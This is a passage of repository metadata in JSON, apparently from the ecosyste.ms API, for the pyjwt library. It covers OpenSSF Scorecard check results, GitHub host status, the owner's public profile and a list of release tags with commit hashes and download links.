artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a